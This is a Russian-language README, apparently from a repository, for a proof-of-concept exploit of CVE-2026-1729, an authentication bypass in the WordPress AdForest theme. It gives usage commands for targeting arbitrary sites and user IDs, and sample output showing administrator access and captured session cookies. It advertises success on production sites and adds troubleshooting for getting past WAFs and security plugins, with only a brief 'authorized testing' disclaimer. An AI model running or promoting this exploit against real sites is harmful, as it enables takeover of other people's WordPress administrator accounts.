CVE-2026-1729 — PoC обхода аутентификации AdForest WordPress

Описание

Простой Proof of Concept для CVE-2026-1729 (PoC) — уязвимость обхода аутентификации в теме WordPress AdForest. Автор: f3ds cr3w est 2oo2 блог

Возможности

✅ Прямой доступ к админке без учётных данных
✅ Работает на боевых (production) WordPress-установках
✅ Не требует настройки Docker
✅ Простой интерфейс командной строки
✅ Сохранение сессии

Требования

Python 3.6+
библиотека requests

Установка

pip install requests

Использование

Базовое использование

python poc/exploit.py https://target-site.com

Указание конкретного ID пользователя

python poc/exploit.py https://target-site.com --user-id 2

Примеры

# Exploit default admin (user ID 1)
python poc/exploit.py https://example.com

# Exploit specific user account
python poc/exploit.py https://example.com --user-id 5

# Test multiple targets
python poc/exploit.py https://site1.com
python poc/exploit.py https://site2.com --user-id 3

Вывод

CVE-2026-1729 - AdForest WordPress Authentication Bypass
=======================================================
WARNING: For authorized testing only!
=======================================================
[+] Target: https://example.com
[+] Targeting user ID: 1
[+] Sending exploit to: https://example.com/wp-admin/admin-ajax.php
[+] SUCCESS! Admin access granted
[+] Admin URL: https://example.com/wp-admin/
[+] Session cookies: {'wp-settings-time-1': '1234567890', 'wordpress_logged_in_...': '...'}
[+] Logged in as: admin

🎯 Exploit completed successfully!
You now have admin access to the WordPress site.

Что происходит после эксплуатации

Доступ к админке: Вы получаете полный доступ к /wp-admin/
Сохранение сессии: Эксплойт поддерживает сессионные cookie
Информация о пользователе: Показывает, какая учётная запись скомпрометирована
Прямой доступ: Вы можете сразу получить доступ к консоли администрирования WordPress

Примечания

Правомерное использование: Используйте только на сайтах, которыми владеете, или имеете явное разрешение на тестирование
Требования к цели: На сайте должна быть установлена тема AdForest
Успешность: Работает на уязвимых версиях темы AdForest
Без установки: На целевом сервере ничего устанавливать не нужно

Устранение неполадок

Если эксплойт не сработал:

Убедитесь, что установлена тема AdForest
Проверьте, работает ли сайт на WordPress
Убедитесь, что версия темы уязвима
Убедитесь, что WAF или плагины безопасности не блокируют запрос

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

Популярное

Описание